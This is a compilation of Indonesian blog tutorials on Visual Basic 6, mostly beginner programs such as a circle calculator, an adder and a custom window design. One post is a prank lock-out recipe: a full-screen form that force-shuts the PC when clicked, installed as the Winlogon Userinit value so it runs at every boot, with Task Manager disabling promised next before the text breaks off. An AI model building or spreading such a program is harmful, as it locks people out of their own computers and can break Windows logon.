Luas & Keliling

Semangat….
Selalu pengen semangat ne, tapi badan gak mau gerak. Buat artikel ne aja susah banget rasanya, padahal Cuma butuh sedikit tenaga.
Oke…



Hari mw buat program sederhana lagi, tentu aja pake vb. Kalo pake bahasa yang lain ribet banget. Tapi pasti akan di coba kok.
Kali ini program yang ingin di buat adalah cara ngitung Luas & keliling lingkaran. Sambil ngingat2 tentang pelajaran semester 1 yang lalu.
Langsung aja ya..
Pertama buka program vb seperti biasa, lalu pilih yg standar aja.
Trus buat form kayak yang di bawah ne,

Ga susahkan, trus klik 2 kali pada textbox1, trus tulis deh kodenya:

phi = 3.14
R = Val(Text1.Text)
Luas = phi * R ^ 2
keliling = 2 * phi * R
Text2.Text = Luas
Text3.Text = keliling

Ga banyakkan kodenya. Trus coba di jalanin, isi kolom jari2 dengan angka yang dimau pasti kolom yang lain langsung terisi dengan hasil luas dan keliling.
Walaupun sederhana, semoga program ne berguna tuk kita semua, terutama yang baru belajar program.
Selamat mencoba 

Program sederhana menggunakan vb

Dah lama ne ga posting. Gat tau kenapa,he..( Padahal lagi males)
Oke lanjut aja…
Hari ne kita akan buat program yang super sederhana..
Ni programa untuk orang yang baru belajar program seperti saya..
Pertama kita buka program visual basic, buat form yang standar aja.
Setelah itu kita buat 2 textbox dan buat 2 label trus 1 command button.
Kayak di bawah ne..

asti bisa kan cara buatnya kayak gitu. Nama form juga kalian bisa ubah, ganti aja di propertiesnya. Nah setelah jadi form kayak di atas, klik 2 kali tombol proses trus ketik kode ne:

hasil = Val(Text1) + Val(Text2)
MsgBox " Hasil penjumlahannya adalah" & hasil, vbOKOnly, "pesan"

Lengkapnya kayak gini:

Private Sub Command1_Click()
hasil = Val(Text1) + Val(Text2)
MsgBox " Hasil penjumlahannya adalah" & hasil, vbOKOnly, "pesan"
End Sub

Habis tu tekan tombol star. Kalau gad a kesalahan dalam penulisan pasti semuanya lancar. Kalian juga bisa ganti operasi apa yang mau dilakukan oleh program tadi, kalau mau program kali tinggal ganti + dengan *.
Selamat mencoba .
Semoga berguna.

Contoh Program Visual Basic.6.0

1.    Kita buka Visual basic 6.0, klik Start>>Microsoft Visual Studio 6.0>>Microsoft Visual Basic 6.0 (itu dalam komputer aku, kalo komputer anda ya cari sendiri….masa buka VB aja nggak bisa!). kemuadian pada jendela new project pilih yang Standard EXE. Kalo memang betul buka VB akan seperti berikut :

 

2.    Selanjutnaya pada properties form ubah :
Border Style = 0 – None.
Windows State = 2 – Maximized.
3.    Sekarang silakan anda buat tulisan di form tersebut, mungkin pesan anda supaya komputer tersebut jangan dipakai….
4.    Setelah anda selesai membuat pesan anda, sekarang klik 2x pada form, kemuadian ketikkan kode berikut ini :

Private Sub Form_Click()
MsgBox “Kan, sudah saya bilang komputernya lagi malas”, vbOKOnly + vbCritical, “Keras Kepala !”
Shell “shutdown -s -f –t 0″
End Sub

5.    Kayaknya  program tersebut nggak usah dijelasin lagi maksutnya ya…pasti udah tau!! Kalau belum tau maksuntnya setelah mengetikkan dengan betul, silakan tekan F5.
6.    OK deh…selanjutnya kalau memang sudah yakin programnya berjalan, sekarang kita compile , klik menu File>>Make Project EXE , silakan simpan project anda (.exe)di tempat yang anda ingat!.
7.    Setelah selesai pembuatan programnya, sekarang kita masuk ke jendela registry. Tau kan masuk ke registry? Klik Start>>Run>>ketikkan ‘regedit’ tanpa tanda kutip. Kemudian cari alamat berikut :

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
kemudian ubah nilai dari Userinit menjadi C:\file_kita.exe , nama file_kita.exe disini adalah nama program yang sudah kita compile tadi dan jangan lupa file tersebut diletakkan di direktori C.
8.    Nah sekarang untuk pembuktian, silakan restart komputer anda, maka  program anda akan pertama sekali tampil pada saat komputer dinyalakan, kalau di klik pada form tersebut, maka komputer akan ‘mati’.
9.    Jadi gimana dong kalo saya mau masuk lagi ke Windows saya??…..tekan aja ALT + CTRL + DEL (Task Manager) kemudian matiin deh program tsb! ?
10.    Yah…Cuma segitu ya???gampang  kok matiinya!!!………Entar dulu, itu baru permulaan…sekarang kan kita tinggal me non-aktifkan task Manager, gampang!!!!
11.    Silakan buka kembali program yang kita buat menggunakan Visual Basic tadi, tambahkan 2 buah module, tau kan cara manambah module? Klik kanan pada nama form (biasanya letak jendelanya properties projectnya sebelah kanan atas)kemudian add >> Module , kemuadin Copy dan pastekan Code berikut pada Module 1

Tutorial Pemograman VB 6.0: Merancang Sendiri Tampilan Aplikasi

Seringkali dalam membuat aplikasi dalam lingkungan Visual Basic, kita sudah disuguhkan dengan bentuk jendela dengan tampilan yang sama. Bagaimana kalau kita ingin membuat bentuk tampilan jendela sesuai dengan selera kita ? Bisa, karena tutorial kali ini kita akan membuat suatu bentuk jendela dengan TitleBar, tombol Minimize, Maximize dan Exit ala sendiri dan sangat mudah sekaligus sederhana dalam pembuatannya. Sudah tidak sabar ? Kalau begitu kita langsung saja ke langkah yang pertama yaitu,
Buatlah form untuk merancang tampilan jendela aplikasi seperti terlihat pada gambar 1. Kontrol-kontrol yang ditambahkan pada form tersebut adalah :
- 1 buah Label
- 5 buah PictureBox
Ubahlah properti-properti dari kontrol-kontrol tersebut seperti tertera pada tabel 1.

Kontrol	Properti	Nilai
Label1	BackStyle	0 - Transparent
	(Name)	lblTitle
	Caption	Jendela buatanku
	ForeColor	&H00FFFFFF&
Picture1	BackColor	&H000080FF&
	BorderStyle	0 - None
	Width	6735
	Height	375
	(Name)	PicTitleBar
Picture2	BackColor	&H00008000&
	BorderStyle	0 - None
	Width	255
	Height	255
	(Name)	PicMinimize
	ToolTipText	Minimize
Picture3	BackColor	&H00800000&
	BorderStyle	0 - None
	Width	255
	Height	255
	(Name)	PicMaximize
	ToolTipText	Maximize
Picture4	BackColor	&H00000080&
	BorderStyle	0 - None
	Width	255
	Height	255
	(Name)	PicExit
	ToolTipText	Exit
Picture5	BackColor	&H000080FF&
	BorderStyle	0 - None
	Width	6735
	Height	135
	(Name)	PicFootBar
Form1	Caption	JENDELA BUATANKU
	BorderStyle	0 - None
	ShowInTaskbar	True
	StartUpPosition	2 - CenterScreen
	Width	6720
	Height	4440

Tabel 1.

Sebagai keterangan, kotak-kotak kecil  berwarna pada Form masing-masing memiliki fungsi yang berbeda. Kotak berwarna hijau akan diberi fungsi Minimize jendela, sebaliknya kotak berwarna biru akan kita beri fungsi Maximize jendela , dan kemudian kotak berwarna merah sebagai fungsi untuk menutup jendela atau exit.  Sebagaimana jendela aplikasi pada umumnya, jendela harus mudah dipindah-pindah yang bisanya mendrag bagian TitleBar.
Maka pada PicTitleBar, kita akan memasukkan kode program yang dapat menggeser jendela seperti yang tertera pada Listing 1. Sekarang buat Module dan kemudian isi dengan kode program pada Listing 2 untuk mendeklarasikan fungsi yang dibutuhkan untuk mendrag jendela. Pada Listing 3 terdapat kode program untuk PicMinimize supaya ketika kita klik kotak warna hijau , tampilan jendela dalam keadaan minimize. Sekarang bagaimana mengatur tampilan menjadi Maximize ? Isi kode program pada PicMaximize dan PicTitleBar seperti yang terlihat pada Listing 4 .
Untuk mengaktifkan Maximize kita perlu mengatur lebar dan tinggi jendela baik dalam keadaan normal atau maximize seperti pada Listing 5. Ukuran-ukuran yang ada pada Listing 5 hanya berlaku bila jendela yang kita buat berada pada layar monitor yang berresolusi 1024x768 pixel. Di luar resolusi itu hasil tampilan jendela akan terlihat berantakan. Maka jika itu terjadi, kita dapat menyesuaikannya dengan mengatur kembali  nilai lebar dan tinggi jendela aplikasi yang kita buat.
Seperti kode program yang tertera pada Listing 5, kita mengatur agar saat jendela dalam keadaan normal, ToolTip pada PicMaximize menampilkan tulisan ”Maximize”. Saat tampilan dalam keadaan Maximize, ToolTip menampilkan tulisan ”Restore Down”.   Langkah yang terakhir, pada PicExit kita memasukkan kode program yang berfungsi menutup aplikasi seperti yang tertera pada Listing 6. Supaya tampilan lebih menarik lagi, kita juga dapat mengimpor gambar pada setiap kontrol PictureBox.  Tutorial berikutnya kita akan mencoba memeberikan efek trasparan pada jendela aplikasi yang kita buat. Selamat mencoba !!!
Listing 1 

PLAIN TEXT

CODE:

1. Private Sub PicTitleBar_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
2. ‘Jika tampilan dalam keadaan Maximize, Jendela tidak akan pernah dapat digeser-geser
3. If  Me.WindowState <> 2 Then
4. GeserJendela Me
5. End If
6. End Sub

Tampilan Awal Visual Basic

Saat pertama kali anda menjalankan Visual Basic, secara otomatis akan muncul kotak dialog New Project.
Pada Kotak dialog tersebut, terdapat tiga pilihan tabulasi dengan keterangan sebagai berikut :

Tabulasi	Keterangan
New	Digunakan untuk membuat project baru dengan berbagai mascam pilihan
Existing	Digunakan untuk membuka project yang pernah dibuat sebelumnya dengan menentukan folder sekaligus nama file
Recent	digunakan untuk membuka project yang telah dibuat dan terakhir dibuka

Apabilaanda tidak ingin menampilkan kotak dialog tersebut pada saat pertama kali menjalankan visual basic, matikan kotak periksa Don’t show this dialog in the future, sehingga pada saat anda menjalankan program Visual Basic berikutnya, akan langsung ditampilkan project default dengan pilihan Standard.EXE
Untuk menampilkan kembali kotak dialog tersebut, ikuti langkah berikut ini :

1. Pilih menu Tools, Options, sehingga kotak dialog Options ditampilkan
2. Pitabulasi Environment, aktifkan option Prompt for project to group when Visual Basic starts.